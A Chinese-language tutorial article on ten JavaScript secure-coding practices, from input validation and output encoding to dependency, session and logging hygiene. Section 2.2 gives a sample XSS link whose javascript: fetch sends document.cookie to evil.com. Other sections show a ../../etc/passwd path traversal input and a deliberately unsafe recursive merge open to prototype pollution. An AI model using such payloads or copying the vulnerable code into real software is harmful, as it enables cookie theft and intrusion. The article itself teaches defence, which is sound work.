JavaScript安全编码实战:从输入校验到依赖管理的十大关键实践
写这篇东西之前先讲个真实经历。去年年中我接了一个外包来的后台管理系统技术栈就是 React Node.js前端代码写得挺规整组件拆分干净接口封装统一TypeScript 严格模式也开着。我当时心想这项目底子不错结果做安全审计的时候几分钟之内就挖出了四个高危问题登录接口没有限流、两个接口直接拼接参数查数据库、前端把用户手机号明文存在 localStorage、node_modules 里躺着一个已知漏洞的旧版本打包工具。最离谱的是修复其中一个 SQL 注入点的时候我发现那个坑是在代码刚起步的阶段就埋下的写了三年多一直没人注意。这就是我写这篇文章的初衷。JavaScript 安全编码很多时候不是会不会写的问题而是有没有意识的问题。很多团队开发时专注于功能实现、性能优化安全相关的细节往往被推迟到上线前再说结果一测就是一堆坑。这篇文章我会结合自己实际踩过的坑和处理过的项目把 JavaScript 开发中十个最值得关注的安全编码实践捋一遍。每一条我都会说清楚三个东西为什么需要这样做、具体怎么做、不小心踩进去之后怎么排查。内容覆盖前端浏览器环境和后端 Node.js 环境适合正在做 Web 应用、接口服务、后台管理系统的开发者参考也适合团队做代码 review 时当作 checklist 用。1. 输入校验不是过滤而是约束很多开发者一听到输入校验第一反应就是写一个 escape 函数把所有特殊字符替换掉。我见过不少项目自己写了类似replace(//g, lt;)这种东西然后理直气壮地说我做了 XSS 防护。这种思路从根本上就是错的。1.1 校验的本质是这个输入应该长什么样而不是这个输入里有什么不能用举个典型的例子用户注册时填写手机号。安全的做法是校验它是否匹配电话号码的格式规则而不是把里面的、、单引号全都替换掉。你想想一个电话号码里根本不应该出现尖括号与其费劲去转义不如直接拒绝任何不含法的输入。这就是我强调的约束思维明确允许什么不符合规则的直接打回而不是把不允许出现的东西一个个找出来消灭。我自己在代码 review 里最常看到的错误是这样的// 错误示范只过滤了部分特殊字符 function sanitizeInput(input) { return input.replace(/script/gi, ).replace(/onerror/gi, ); }这种黑名单思路有天然缺陷攻击者用大小写混写、加空格、用 HTML 实体编码、用 base64 编码等方式就能轻松绕过。比如%3Cscript%3E经过 URL 解码之后照样能变成标签你的过滤函数根本没处理 URL 编码的情况。即便你补上解码逻辑还有更多 Unicode 变体、嵌套编码等着你。黑名单是在跟全世界的攻击者玩猫捉老鼠永远慢半拍。1.2 前后端双重校验但前端校验不是安全手段前端校验的意义是提升用户体验——用户填错了立刻提示不用等请求发出去再被后端打回来。但前端校验绝对不能被当成安全边界因为任何前端代码都暴露在用户面前完全可以被绕过。真正做安全决策的地方必须在后端。我手上的一个商城项目就出过这类问题。前端的价格校验只检查了输入是否为数字没限制最大长度。后端虽然也做了校验但由于校验函数用了parseFloat出现了精度溢出的情况结果被人构造出一个超长数字用整数溢出绕过了优惠金额的上限最后硬是给订单叠加了一个异常折扣。那笔钱虽然不多但排查和退款流程把整个团队折腾了整整两天。修复之后我们定了一个规范现在是我做任何接口设计都必须遵守的校验输入的数据类型、长度、格式、取值范围所有校验在后端强制执行前端校验只能视为体验优化校验函数只认白名单规则不做黑名单替换对 JSON、XML 等结构化数据要校验其结构与嵌套深度不能只看表层字段结合现在的趋势我在新项目里更推荐用专门的校验库而不是手写正则到处散落。比如 Zod 或 Yup 这类 schema 校验工具可以在一处定义好数据结构规则前端表单和后端接口共用同一套描述。这样做的好处不仅仅是减少重复代码更在于规则一致——你不用担心前端用的校验规则比后端更严格导致用户在前端过不了关但直接调接口却能过。这属于典型的规则不一致漏洞。2. 输出编码要跟着场景走上面那条讲的是输入。这一条讲输出。很多人不知道XSS 的触发位置决定了你该用哪种编码方式用错了等于没防。2.1 HTML 上下文、属性上下文、JavaScript 上下文编码规则各不相同把用户输入渲染到页面上有几种完全不同的场景插入到 HTML 标签内容里、插入到 HTML 标签的属性里、插入到script标签的字符串里、插入到 CSS 的 URL 里、插入到事件处理函数里。每一种场景都需要不同的编码策略。比如在 HTML 标签内容里需要转义的是、、、、。但在 JavaScript 字符串里需要转义的却是\、、、换行符和 Unicode 分隔符。如果你把一个用户输入直接塞进onclickhandler(xxx)这种属性里即便做了 HTML 转义单引号可能还是闭合了被转义后的字符串最终攻击代码照样执行。这类坑我见过不止一次。2.2 React/Vue 对这些做了什么又没做什么React 和 Vue 在默认情况下会对绑定的文本内容做转义处理所以直接使用{userInput}或{{ userInput }}渲染文本是相对安全的。但有几个地方是框架管不到的需要你特别注意dangerouslySetInnerHTML和v-html这是最直白的漏洞来源。一旦使用框架的自动转义就完全失效你必须自己保证传入的 HTML 是可信的或者已经过严格的白名单清洗。href属性用户输入javascript:alert(1)这类伪协议的时候框架不会自动帮你拦截。需要在绑定 URL 之前做协议白名单检查。style属性某些浏览器支持在 CSS 里执行表达式或者加载外部资源绑定前同样要检查。我碰到过的最隐蔽的 XSS 案例是通过 URL 参数把内容带进href的。攻击者构造了一个链接a hrefjavascript:fetch(https://evil.com/steal?cookiedocument.cookie)点击领奖/a如果代码里直接把这个 URL 塞进href用户一点就中招。修复方案其实很简单写一个sanitizeUrl函数只允许http:、https:、mailto:、tel:这几个协议开头其他全部返回#或者空字符串。我建议在项目里封装这样一个工具函数并且在 lint 规则里强制要求所有href绑定都经过它。2.3 用现成的消毒库而不是自己造轮子如果你确实需要向用户展示富文本比如评论区的图文内容、富文本编辑器输出的内容永远不要自己写 HTML 清洗逻辑。这个领域太容易出错了。我试过自己维护一套标签白名单和属性白名单半年之后就在一次改版中漏掉了svg标签的嵌套情况导致一个存储型 XSS 漏过。现在我用的是 DOMPurify它处理了大量浏览器差异和各种绕过尝试而且支持配置允许的标签、属性、协议配置起来也很简单import DOMPurify from dompurify; const cleanHTML DOMPurify.sanitize(dirtyHTML, { ALLOWED_TAGS: [p, br, strong, em, ul, ol, li, a], ALLOWED_ATTR: [href, title, target], ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto|tel):|[^a-z]|[a-z.\-](?:[^a-z.\-:]|$))/i });注意ALLOWED_ATTR里不要随意放style因为 CSS 同样能被利用来做数据窃取比如通过背景图片加载外部地址把页面内容带出。对于href还要设置协议白名单。这套配置看起来简单但绝大多数生产环境的富文本需求用这一层就够用了。3. 前端代码里不能有秘密我经常在 GitHub 上看到有人把 API Key、数据库连接串、加密密钥直接写在前端代码里然后上传到仓库。最夸张的一次是一个开发者把云服务商的密钥写在了前端配置里密钥是一对 AccessKey 和 SecretKey权限是读写所有对象存储。我用工具扫到之后提醒他他还反问了一句这不是要写在代码里才能调用吗不然用户怎么访问。这个误解相当普遍必须纠正。3.1 密钥到底应该放在哪任何运行在浏览器里的代码对用户来说都是完全透明的。用户按 F12 打开开发者工具就能看到页面的全部 JavaScript 代码、网络请求的内容、localStorage 里的数据。你在前端代码里放的任何密钥都不算秘密只能算公开数据。那么浏览器端需要调用一些需要鉴权的服务该怎么办正确做法是建立一个中转层通常就是你的后端服务让浏览器把请求发给后端后端加上密钥后再请求第三方服务最后把结果返回给前端。这样密钥只存在于后端环境变量或密钥管理服务中。// 错误示范前端直接读取敏感配置 const apiKey sk-xxxxxxxxxxxxxxxxxxxx; fetch(https://api.example.com/data, { headers: { Authorization: Bearer ${apiKey} } }); // 正确示范前端调用自己的后端接口由后端保管密钥 fetch(/api/proxy?targetexample);这条规则同样适用于 WebSocket 鉴权、推送服务的标识、地图服务的 Key 等场景。不是说这些 Key 一定不能在前端出现而是你要评估泄露的后果。如果 Key 泄露后最多只能调用一些免费额度风险可控那放前端也无妨但如果这个 Key 能访问到用户数据、能扣费、能写数据就必须藏到后端。3.2 环境变量也会翻车前端项目里常有用.env文件管理环境变量的习惯。要注意VITE_前缀Vite或者REACT_APP_前缀Create React App的变量会被打包进前端产物这意味着你在构建机上配置的这些变量最终会出现在浏览器的 JS 文件里。很多人误以为变量在 .env 里所以安全实际上这些带前缀的变量只是让你在代码里读取方便并不是真正的保密手段。真正的秘密应该放在后端的环境变量里并且要用密钥管理服务做访问控制和自动轮转。我见过一个项目把数据库密码放在前端.env里因为在某个版本中后端服务与前端的构建使用了同一个环境变量文件。这个操作等于把数据库密码打印在每一台访问页面的用户的浏览器缓存里——只要下载这个 JS 文件正则匹配一下就能找到密码明文。3.3 对仓库做一次密钥扫描就算你再小心偶尔也会有一时顺手把密钥提交进仓库的情况。这里推荐在 CI 流程里加一个密钥扫描步骤用现成的工具比如 gitleaks 或 trufflehog扫描提交内容。上次我们就是在团队的 CI 里加了扫描才在一段测试代码合并进主分支之前拦下来一个写死的云数据库口令。如果你发现密钥已经泄露到了公开仓库正确的处理顺序是立刻在服务端撤销该密钥并生成新的然后排查这个时间段内的访问日志确认是否有异常调用最后再决定要不要处理仓库历史记录。先把密钥作废再清理提交记录这个顺序千万别搞反。我在一个开源项目上就见过有人只删了提交记录里的密钥、没在服务端作废结果攻击者早就从 clone 下来的分支里提取到了完整密钥删仓库记录只是自欺欺人。4. 依赖管理不更新等于把后门请进门JavaScript 生态最大的特色就是依赖太多了。一个简单的 React 项目node_modules里动辄几万个文件。这带来一个严峻的问题你的应用安全性不只取决于你自己写的代码还取决于所有依赖的安全性。任何一个依赖出了问题你的应用就跟着被拖下水。4.1 供应链攻击的常见套路供应链攻击大致有三种套路一是直接接管一个流行的开源包往里面注入恶意代码二是通过钓鱼手段让开发者安装一个看起来很像正规包的名字比如lodahs冒充lodash三是利用某些包的维护者疏忽在发布的新版本里藏一段恶意代码。这三种方式都真实发生过而且对行业影响不小。2018 年左右的事可能还有人记得一个 npm 包因为被黑客入侵账户在发布的新版本里加入了一段窃密代码会读取开发者的环境变量并发送到远程服务器。当时不少知名项目都受到影响。后来 npm 增加了包发布者的双因素认证要求类似的攻击变少了但并没有消失。2022 年到 2024 年之间仍然有大量被发现的恶意 npm 包的事件有的专门偷取加密货币钱包的助记词有的专门扫描开发者电脑上的环境变量文件。4.2 你需要一套依赖安全管理流程这里我给出一套比较完整的做法团队可以直接照搬使用锁文件package-lock.json 或 yarn.lock并把它提交到仓库里。锁文件能确保团队每个人安装到的依赖版本是一致的避免在我机器上是好的。把 npm 源切换成官方源或私有镜像源并且设置严格的来源校验。在 CI 里跑npm audit高危和危急漏洞按阻断处理不允许合并代码。制定依赖更新节奏。我的建议是每个月抽半天时间专门做依赖升级优先更新修复安全漏洞的补丁版本避免大版本跳跃。使用工具监控依赖变更。比如lockfile的 diff 中如果出现某个热门包的下载地址突然变了就要特别警惕。4.3 一个真实的依赖漏洞排查过程这里分享一次完整排查依赖漏洞的经历。有个内部系统上线后安全扫描报告提示某个版本的前端构建工具存在一个高风险的正则表达式拒绝服务漏洞攻击者可以发送特定字符串让构建或解析过程卡死。我们需要确认两件事一是这个工具是否用在了面向用户的输入处理链路上二是漏洞是否真实可利用。首先我检查了npm ls输出确认这个工具是通过另一个打包工具间接引入的这里就能看到依赖链的具体情况npm ls webpack输出显示它是一个传递依赖也就是说我们并没有直接使用它但打包过程会加载它。接着我用npm audit查看具体漏洞信息报告中给出了受影响版本范围和修复版本。团队评估了一下直接升级主打包工具的大版本风险比较大会牵扯到一堆插件兼容性于是我们把 npm 的overrides功能用上强制指定这个传递依赖为修复后的版本{ overrides: { webpack: ^5.94.0 } }改完跑了一遍构建、测试和冒烟测试确认业务功能没有异常这个漏洞就算堵上了。整个过程不到半天但我见过不少团队遇到这种问题就直接忽略说反正没人能利用。实际上这种正则拒绝服务漏洞在解析不可信输入时极易被触发而且触发后服务直接不可用严重程度非常高。5. 身份认证与授权不能只会登录身份认证和授权是整个 Web 应用安全里最容易被做错的部分。很多小团队做了登录功能就算完事没有认真设计 token 的存储方式、过期机制、权限校验逻辑最后被攻击者利用各种漏洞拿到别人的身份。5.1 会话令牌存哪最合适前端常见的 token 存储方案有三种localStorage、sessionStorage、httpOnly Cookie。各自的取舍差异非常大。localStorage简单用起来顺手但任何在页面里执行的 JavaScript 都能读取它。一旦发生 XSStoken 就会被直接拿走。sessionStorage比 localStorage 稍微好一点至少关闭标签页就没了但同样可以被 JavaScript 读取XSS 仍能盗走。httpOnly Cookie浏览器不允许 JavaScript 读取它因此 XSS 拿不到。这是安全性上最稳妥的方案但需要考虑 CSRF 防护。就我的项目经验而言有用户系统的新项目我全都采用 httpOnly Cookie 方案然后配合 CSRF Token 或 SameSite 属性来做防护。SameSiteLax现在已经是主流浏览器的默认行为对绝大多数应用来说足够用。// 后端设置会话 Cookie 的推荐参数 res.cookie(session_id, sessionId, { httpOnly: true, // 禁止 JavaScript 读取 secure: true, // 仅通过 HTTPS 传输 sameSite: lax, // 基本防 CSRF maxAge: 7 * 24 * 60 * 60 * 1000 });有些人觉得 httpOnly Cookie 处理跨域请求比较麻烦会图省事改成 localStorage 存 token。我理解这个痛点但一旦出了 XSSlocalStorage 里的 token 就是攻击者随手可得的战利品。两条路你必须选一条要么承担 XSS 带来的 token 泄露风险要么多写一点跨域配置解决 Cookie 的 CORS 问题。我宁愿多花那个时间也不会拿用户身份冒这个险。5.2 授权检查要在后端做不能只靠前端隐藏按钮权限控制同样是个高频翻车点。很多前端项目里管理员和普通用户看到的东西不一样于是有人就在前端做了角色判断隐藏某些按钮和页面。这给你一种权限控制了的错觉但攻击者根本不需要点击那些按钮。他只要直接查看前端代码、找到管理接口的 URL然后用普通用户的 token 直接调用管理接口就能拿到不该有的数据。真正的授权必须在后端每一个接口在处理请求之前都根据当前登录用户的角色和资源归属做校验校验不通过就返回 403。前端隐藏内容只是体验优化不是安全措施。我在开发一个文件管理模块时就遇到过这个问题。前端只隐藏了删除文件按钮后端接口并没有判断文件是否属于当前用户。结果一个普通用户只要用浏览器的开发者工具修改请求里的文件 ID就能删除别人的文件。那次之后我为每一个涉及资源操作的接口都加了归属校验中间件function canAccessFile(req, res, next) { const file getFileById(req.params.id); if (!file) return res.status(404).json({ error: not found }); if (file.ownerId ! req.user.id req.user.role ! admin) { return res.status(403).json({ error: forbidden }); } req.file file; next(); }这里还有个细节值得单独说如果用户请求一个不存在的资源我建议统一返回 404 而不是 403。因为 403 会告诉攻击者这个资源存在但你无权访问这等于帮他做资源发现。统一返回 404 则不会泄露资源是否存在的信息。Ive seen automated scanning bots use this very distinction to enumerate valid file IDs and user IDs.5.3 密码存储与登录限流在新项目中我不建议大家自己写密码哈希的底层逻辑直接用成熟方案。比如 Node.js 环境里用 argon2 或者 bcrypt并且要确保盐值是自动生成的、成本参数合理。前端传密码到后端时必须强制 HTTPS最好在浏览器端做一层简单混淆不是加密是为了避免明文密码出现在网络日志里但这层不是安全机制真正的保护还是靠 HTTPS。登录接口的限流很多人不做或者只做了个简单的次数计数。我做过一次失败的限流把计数器存在内存里结果应用一旦重启计数就清零攻击者通过不断重启刺激利用负载均衡轮询也能绕过。后来我把限流逻辑放到了 Redis 里基于 IP、账号名、设备指纹多维组合来做。例如同一个账号在 10 分钟内错误超过 5 次就锁定 15 分钟同时对同一 IP 的登录请求做频率控制。这套方案上线后撞库攻击的比例立刻下降了九成以上。6. 安全响应头配置十分钟搞定效果立竿见影如果说前面几条都需要改动业务逻辑这一条属于性价比最高的安全投资给后端响应配置安全响应头前端甚至可以不做任何改动。我每次接手新项目第一件事就是检查响应头通常这一步就能发现不少问题。6.1 CSP内容安全策略是 XSS 的第二道防线内容安全策略CSP是浏览器提供的一种机制用于控制页面可以加载哪些资源、执行哪些脚本。即使攻击者注入了一段脚本只要 CSP 不允许执行内联脚本浏览器也会直接拒绝运行。一个基础但有效的 CSP 配置长这样Content-Security-Policy: default-src self; script-src self; style-src self unsafe-inline; img-src self data:; object-src none; base-uri self; frame-ancestors self这段配置的含义是脚本只能从本站加载不允许内联脚本样式允许本站和内联样式图片允许本站和 data 协议不允许加载任何插件object/embed页面只能被本站以 iframe 形式嵌入防止点击劫持。很多团队看到这里会迟疑我们用了很多内联脚本不用内联脚本做不了开发。这个说法有一定道理React 和 Vue 的构建工具默认会生成内联脚本或动态执行代码直接上严格 CSP 确实会出问题。这时候就需要做 CSP 部署的分步走先通过Content-Security-Policy-Report-Only模式观察哪些资源被拦截了把违规报告收集起来逐步调整到正常业务不影响再切换到强制模式。我在一个老项目上就走过这条路。第一步先用 Report-Only 模式跑一周收集所有被拦截的资源记录第二步根据报告排查哪些内联脚本是真正必要的把可以去掉的去掉不能去掉的就用 nonce 机制每次请求给合法脚本生成一个随机 nonceCSP 允许带正确 nonce 的脚本执行白名单化第三步切换强制模式。整个过程大概花了两周但之后 XSS 面明显缩窄了很多。6.2 其他几个值得配置的响应头除了 CSP下面这几个响应头也强烈建议加上X-Content-Type-Options: nosniff告诉浏览器不要嗅探响应内容的类型防止把 HTML 或脚本错误地当成图片或样式解析。X-Frame-Options: DENY或SAMEORIGIN防止页面被套在恶意站点的 iframe 里做点击劫持。CSP 里的frame-ancestors是更现代的替代方案两者可以同时设置。Referrer-Policy: no-referrer或strict-origin-when-cross-origin控制页面跳转时携带的 Referrer 信息避免把当前页面的 URL 参数泄露给第三方。Permissions-Policy限制浏览器功能比如禁掉摄像头、麦克风、地理位置等。这些响应头在 Express 里可以手动写中间件也可以直接用现成的 helmet 库。我个人的习惯是先用 helmet 拿到默认配置再根据实际业务调整 CSP 和 Permissions-Policy。helmet 的默认配置相当合理本身就帮你挡掉了一批常见攻击。7. Node.js 后端最容易忽略的几个安全细节这一节专门讲 Node.js 后端环境。前后端同构的项目越来越多很多前端开发者顺手就能写 Node 服务但后端与浏览器环境的安全模型完全不同几个常见漏洞比较隐蔽。7.1 原型污染JavaScript 的原型链机制在攻击者手里可以变成一个非常危险的漏洞。原型污染的意思是攻击者通过构造特殊的对象往Object.prototype上添加或修改属性从而影响应用中所有对象的默认行为。最常见的触发点就是递归合并用户输入的 JSON 对象。比如像下面这样的代码function merge(target, source) { for (const key in source) { if (typeof source[key] object source[key] ! null) { if (!target[key]) Object.assign(target, { [key]: {} }); merge(target[key], source[key]); } else { target[key] source[key]; } } return target; }如果用户提交的 JSON 里有__proto__这个 key这段递归合并就可能修改Object.prototype。之后所有对象都会继承一个被污染的属性轻则逻辑被扰乱重则导致认证绕过或者任意代码执行。我印象里不少知名 JavaScript 库都出过原型污染相关的 CVE原因基本都是这类不安全的深拷贝/合并。修复方法说起来也简单使用Object.create(null)创建无原型的对象或者在合并时跳过__proto__、constructor、prototype这几个 key。更稳妥的方式是使用 JSON Schema 校验输入结构确保用户不能传入意料之外的字段。我现在写接口时对请求体的 schema 校验特别严格additionalProperties: false必须开从根上杜绝这类问题。7.2 路径穿越提供文件下载或上传功能时路径穿越是另一个高频漏洞。攻击者通过构造../../之类的路径段让自己访问到本不该访问的文件。我在测试一个文件预览功能时就成功地通过把文件名参数改成../../etc/passwd的方式把服务器上的系统文件读了出来测试环境用的无害文件原因就是后端直接拼接了路径// 错误示范直接拼接用户输入 const filePath path.join(/var/data/uploads, req.params.filename); res.sendFile(filePath);正确做法是先解析出规范化后的绝对路径再检查它是否位于允许访问的目录之内const path require(path); const fs require(fs); const uploadRoot path.resolve(/var/data/uploads); const requestedPath path.resolve(uploadRoot, req.params.filename); if (!requestedPath.startsWith(uploadRoot path.sep)) { return res.status(403).json({ error: forbidden }); }注意这里startsWith(uploadRoot)还不够严谨因为像/var/data/uploads_evil这种路径也会通过startsWith检查所以必须加上路径分隔符。这个细节很细但出问题往往就出在这些细节上。7.3 请求体大小与超时限制不限制请求体大小会让接口暴露在资源耗尽攻击之下。攻击者持续向接口发送超大请求体服务器的内存或磁盘很快被耗尽。我在 Express 里通常会这样设置app.use(express.json({ limit: 100kb })); app.use(express.urlencoded({ extended: true, limit: 100kb }));对于文件上传接口还需要在业务层面设置文件大小上限与文件类型白名单。单纯靠content-type判断文件类型很容易被绕过更稳的做法是检查文件内容的 magic number。我在图片上传接口里就用file-type这类库校验真实文件类型而不是信任用户声明。8. 日志与错误信息别帮攻击者做情报收集安全领域有个说法信息泄露本身就是一个漏洞。你的应用返回给用户的错误信息、日志中记录的堆栈都在无意之间透露了内部实现细节攻击者可以据此调整攻击策略。8.1 生产环境的错误信息要模糊开发时为了方便排查后端返回的报错通常会包含堆栈信息、数据库错误详情、内部文件路径等。这些信息绝不能原样暴露给浏览器。生产环境应该返回统一的、不包含内部细节的错误信息app.use((err, req, res, next) { console.error(err); // 完整错误写到服务端日志 res.status(500).json({ error: Internal Server Error }); // 客户端只拿到模糊信息 });这里有个判断标准返回给客户端的信息必须是对排查用户问题有帮助但不涉及系统内部结构的。像用户名已存在验证码错误这类业务信息可以返回但SQL 约束冲突 at /var/lib/pg/...这种绝不能返回。8.2 日志里别记敏感字段日志同样要注意。很多团队记录请求日志的时候会把整个 body 打出来结果用户密码、token、身份证号、信用卡号全都进了日志文件。这些日志如果被别人拿到就是一个大规模数据泄露。我在公司就处理过一次日志泄露事故某系统的访问日志定期上传到集中日志平台平台权限设置不当导致大量用户的手机号和账号信息被无关部门看到。现在的做法是给日志打点做脱敏。记录 HTTP 请求时只记录必要的信息比如请求路径不包含 query string 中的敏感参数、状态码、耗时body 一律不记或者只记录字段名不记录值。对于必须要记录的错误信息提前对常见敏感字段做掩码处理。如果你用 Node.js 的日志库可以把整个 request body 的打印关掉只保留自定义的埋点字段。8.3 唯一标识追踪便于排查不记敏感信息不代表不能排查。我习惯在每一次请求进来时生成一个requestId放在响应头和日志里这样出现问题时可以通过requestId把一次请求涉及的多个日志关联起来。这个requestId不包含用户身份信息设计上没有泄露风险。app.use((req, res, next) { req.id crypto.randomUUID(); res.setHeader(X-Request-Id, req.id); next(); });9. 前端安全测试不完全指南安全编码不能靠写完就完事还需要一套验证手段。我发现很多团队的安全测试意识停留在上线前喊一句大家注意安全没有具体的操作流程。这里分享一下我常用的几种验证方式。9.1 用浏览器开发者工具做手动验证很多 XSS 和越权问题根本不需要复杂工具打开浏览器控制台就能测出来。我在做接口测试时习惯直接改请求参数、cookie、请求头来模拟各种攻击向量。最常见的是把表单里的 id 改成其他用户的 id、把价格改成负数、把数量改成超长数字、给接口加一个不存在的字段看后端反应。还有一种方式就是直接在前端控制台修改 localStorage 或 Cookie 的某个用户角色字段然后刷新页面看后端是否信任这个修改。如果一个系统把角色信息存在前端还能生效那这个系统基本等于没设权限。9.2 用自动化扫描工具辅助光靠人工不够需要自动化工具配合。比较常用的有OWASP ZAP免费开源的 Web 应用安全扫描器可以自动爬取页面、检测常见漏洞支持 API 扫描适合接入 CI。许多团队也用专业扫描平台能直接输出报告和修复建议。针对依赖漏洞使用 npm audit 或 GitHub Dependabot。针对密钥泄露使用 gitleaks 做 git 历史扫描。工具能发现的问题模式有限主要是注入类、配置类、信息泄露类业务逻辑漏洞比如越权、优惠券重复使用、竞态条件靠工具很难测出来必须结合人工测试和代码审查。9.3 代码审查中的安全 Checklist我做过多次安全专项代码审查总结了一套 checklist简单列几个常用的条目团队 review 时可以对照所有用户输入query、body、header、文件都经过白名单校验了吗输出到 HTML、URL、JavaScript、CSS 的每一处都做了正确的编码吗敏感操作修改、删除、导出有没有后端权限校验Token 和会话的过期、刷新、注销逻辑完备吗前端代码里有没有明文密钥依赖中有没有已知漏洞错误信息会不会泄露内部细节日志里有没有敏感字段请求体大小、上传文件大小、并发请求量有限制吗所有外部请求的 URL 都做了协议白名单吗10. 安全编码是护城河不是合规任务这篇文章从输入校验讲到了依赖管理、从身份认证讲到了日志脱敏每一条背后都是真实项目中踩过的坑。我特别想说的一点是安全编码不是高深的技术它更像是一种习惯。你不需要理解复杂的密码学原理也不需要掌握一堆攻击技巧大多数时候只要做到不要信任任何用户输入、不要在前端暴露秘密、不要跳过校验、不要把内部细节泄露出去这几条基本准则就已经能挡住绝大多数攻击了。我在实际开发中的体会有两点。一是安全要提前设计不要等项目上线前再做安全审计。提前设计的意思是在数据库层面就考虑字段校验、在接口设计时就考虑权限模型、在搭建日志时就做好脱敏这些事情后期补做不仅麻烦而且容易遗漏。二是安全是团队的事情不是某一个人加了几天班就能补完的。把这个安全 checklist 写进项目的 CONTRIBUTING 文档让每次代码审查都对照一遍效果远好于一年做一次安全运动。如果你现在正在维护一个 JavaScript 项目我建议你先把本文第 6 条响应头配置和第 4 条依赖扫描落地这两项改动最小、见效最快。再逐步推进输入校验和身份认证的加固。安全这件事做得早比做得完美重要得多。